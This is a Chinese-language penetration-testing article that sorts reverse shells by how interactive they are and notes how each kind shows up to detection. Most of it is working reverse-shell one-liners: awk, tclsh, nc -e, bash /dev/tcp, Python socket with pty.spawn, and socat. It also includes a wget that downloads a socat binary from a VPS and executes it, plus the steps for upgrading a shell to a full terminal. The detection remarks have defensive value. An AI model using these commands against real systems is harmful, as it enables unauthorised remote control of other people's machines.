不一样的 “反弹Shell”系统剖析

下面根据思维导图的顺序讲解一下反弹shell的各种姿势，按照交互方式划分，更能贴近渗透测试的真实场景。

1.命令执行

命令执行类，简单来说就是 网络连接和命令执行不是连续的，有几种情况，网络连接不是长连接，命令执行不是长shell, 或者两者都存在。

如何判断一个反弹shell是命令执行类呢? 当反弹shell运行后，在控制端输入 bash -i ，如果无法产生交互式，则说明是命令执行类。

(1) 网络是长连接，命令执行是短shell模式

client端从server接收到待执行的命令，启动bash执行这个命令，并将命令的结果返回给server。比较典型的是awk和tclsh。

$ awk 'BEGIN {s = "/inet/tcp/0/127.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

$ echo 'set s [socket 127.0.0.1 8080];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh

(2) 网络是短连接，命令执行是长shell模式

client向server发送请求，server将命令内容响应给client, client 获取命令内容，通过管道发送给bash执行，并读取执行结果，最后通过请求再发给server，完成一个流程。

这种的比较少见，因为没有必要这么麻烦，反正都无法产生交互式，没必要这么复杂，因此更多地是第一种和第三种。

(3) 网络是短连接，命令执行是短shell模式

结构是上面两个的拼接，这种反弹shell,采用http/s协议，通过心跳包的方式，传递命令和结果，因为http/s是短链接，命令执行时间较短，相对来说不容易检测。

在Metasploit 中，通过 reverse_http和reverse_https这两种Payload，可以生成。之前我还写过基于icmp的反弹shell，感兴趣的童鞋，可以看一下我之前写的文章：

《Python3实现ICMP远控后门》

在公众号中回复 15 可以获得源码。

2.非交互式

非交互式的反弹shell，非常传统，很容易被检测到，例如nc 反弹，部分bash手法反弹（bash 不加 -i ），如何判断是不是非交互式反弹shell呢？

在反弹shell连接后，输入 history 命令，看是否有输出，如果没有输出，说明是非交互式的，其本质是 

非交互式反弹shell 没有上下文

在下面的网址中，基本上囊括了常见的反弹shell手法，主要是命令执行类，非交互式，半交互式和部分交互式。

https://krober.biz/misc/reverse_shell.php?ip=127.0.0.1&port=8080

非交互式反弹shell的基本结构如下，网络连接与命令输入输出构成一条连续的通道。

以nc为例，在控制端运行 nc-lvp8080,在被控端运行 nc-e/bin/sh127.0.0.18080,在控制端运行 history 是没有任何反应的。

为什么说这种类型比较好检测呢？我们看一下被控端反弹的bash，它打开的文件句柄是和普通程序不同的，输入输出都连接着管道，同时其他句柄有网络连接。

我们接着看一下bash直接反弹的非交互式shell，被控端运行如下命令，控制端命令如上。

$ exec /bin/sh 0</dev/tcp/127.0.0.1/8080 1>&0 2>&0

这种情况特征依然很明显，sh的输入输出句柄都有网络连接。

3.半交互式

上面讲解了非交互式，更进一步，聊一下半交互式。半交互式，大家可能没有太多的概念，但是使用的时候还是挺多的，例如 bash -i 这种类型的反弹，其实属于半交互式。我说一下对半交互式shell 的模糊定义：shell 有一定程度的上下文，但和终端有较大的差距。如何判断是否是半交互式shell，运行两个命令就可以知道：

1. 运行history 命令，有输出

2. 运行top命令，无输出。

如何产生半交互式反弹shell呢？大致有如下两种办法，我们依次试一下： 

(1) 在非交互式反弹中，运行 bash -i

在上一节的基础上，控制端运行 bash -i ,我们看到受控端机器上的当前路径被映射到了本地：

接着运行history 命令，为了方便截图，使用grep进行了过滤：

最后运行一下 top,报了 top:failed ttyget这个错误，无法获取一个终端，这也是我将它定义为半交互式的原因。

(2) 直接反弹 bash -i

$ bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

$ /bin/bash -i > /dev/tcp/127.0.0.1/8080 0<& 2>&1

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM); s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4.交互式

半交互式反弹shell 虽然有了一定程度的交互能力，但距离一个终端还是有很大的距离，为了提高交互能力，将半交互式提升为交互式，我们需要引入伪终端pty。引入伪终端，不仅增强了交互能力，而且有了更强的对抗能力。无论是半交互还是非交互的反弹shell，有一个明显的特征，bash的输入输出要么连接着管道，要么连接着socket，但是伪终端生成反弹shell，输入输出和正常情况一样。生成交互式反弹shell大致有两种方式，一种是直接反弹pty，另一种是在普通反弹shell中，生成pty。

(1) 直接反弹pty

在Python中有一个pty的包，专门用来生成伪终端，我们可以使用pty 反弹bash，并与之绑定：

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM); s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

在控制端输入 top命令，看看是否有动态输出：

接着查看一下反弹 bash的输入输出上是否有管道或者socket绑定，我们发现bash 的输入输出和正常一样，传统的检测策略：依靠bash 输入输出绑定管道和socket的检测方式失效了。

(2) 在普通shell中生成pty

在非交互式 或半交互式反弹shell中，利用python 执行如下命令，即可生成pty，相当于把上面的一句话拆成了两部分使用，这种还是比较常见的。

$ python -c 'import pty; pty.spawn("/bin/bash")'

如果系统中没有python环境，比如容器中，如果系统存在script命令也是可以。

5.完全交互式

我们有了交互式的反弹shell,已经非常接近正常终端，但是在使用的过程中，还是发现了很多不同，比如 无法用tab补齐命令,无法删除命令，ctrl+c会 直接退出了shell。如何才能打造出和正常终端一样操作的反弹shell呢？其实还是有办法的。

(1) socat

socat是一款优秀的反弹shell工具，其生成的反弹shell和普通终端一样易用。在控制端运行：

$ socat file: tty,raw,echo=0 TCP-L:8080

在受控端运行：

$ socat tcp-connect:127.0.0.1:8080 exec:"bash -li",pty,stderr,setsid,sigint,sane

在socat反弹shell里，使用tab 补齐 whoami命令，感觉和正常终端没有什么区别。

在渗透测试中，如果想更好的使用socat，大家可以使用 下面的脚本生成静态编译的socat。

https://Github.com/andrew-d/static-binaries/tree/master/socat/build.sh

然后将socat 放到VPS上，远程下载执行：

wget -q https://xxx.com/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:8080

(2) pty + 重置终端

"pty + 重置终端"的方式真的很奇妙，强制反弹shell匹配控制端的本地终端。在控制端:

1.首先检查当前终端和STTY信息

$ echo $TERM

$ stty -a

2.nc开启监听:

$ nc -lvp 8080

在受控端，只需要使用一个普通的反弹shell连接到控制端即可，剩下的工作在控制端做就可以了：

3.启用python交互式

$ python -c 'import pty; pty.spawn("/bin/bash")'

4.把它丢到后台挂起

$ ctrl + z

5.重置stty，也就意味着你看不到输入的内容

$ stty raw -echo

6.把后台挂起的程序调回前台，这个时候在终端看不到fg的。

$ fg

7.完全刷新终端屏幕

$ reset

8.接下来设置环境变量，根据第一步得到的环境变量来设置

$ export SHELL=bash

$ export TERM=xterm

$ stty rows 42 columns 162

最后的效果如下，继续使用tab 补全whoami命令：

参考文献:

https://krober.biz/misc/reverse_shell.php?ip=127.0.0.1&port=8888

https://www.cnblogs.com/r00tgrok/p/reverseshellcheatsheet.html

https://github.com/andrew-d/static-binaries

https://www.cnblogs.com/LittleHann/p/12038070.html